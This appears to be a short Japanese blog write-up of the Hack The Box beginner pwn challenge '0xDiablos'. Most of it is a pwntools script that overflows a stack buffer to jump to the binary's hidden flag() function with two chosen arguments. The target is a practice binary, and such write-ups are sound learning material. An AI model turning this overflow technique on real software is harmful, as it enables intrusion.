Skip to content

Hack the box - 0xDiablos

足元を固めたくてHTBのBeginner Trackからやっている。

pwnはちょっとずつ理解し始めてきた。

exploit

最終的に作ったexploit。 pwntoolsの使い方も身体に叩き込まねば。

#!/bin/python3
from pwn import *
IS_REMOTE = True
HOST = "x.x.x.x"
PORT = xxx
FILE = './vuln'
conn = None
if IS_REMOTE:
p = remote(HOST, PORT)
else:
elf = ELF(FILE)
p = process(FILE)
#print('\n===Symbol Table===')
#for k, v in elf.symbols.items():
# print(hex(v) + ' -> '+ k)
# flagという怪しい関数が存在するけど呼ばれてないことに気付く
print('\nflag(): ' + hex(elf.symbols.flag))
print(p.recvline())
payload = b'A' * 188
payload += p32(0x80491e2)
payload += p32(0x90909090)
payload += p32(0xdeadbeef)
payload += p32(0xc0ded00d)
print(payload)
p.sendline(payload)
print(p.recvline())
p.interactive()

最終的にこのバイナリは同じフォルダのflag.txtの中身(すなわちフラグ)を読み取って表示するので、 自分で適当なflag.txtを用意しておくとよい。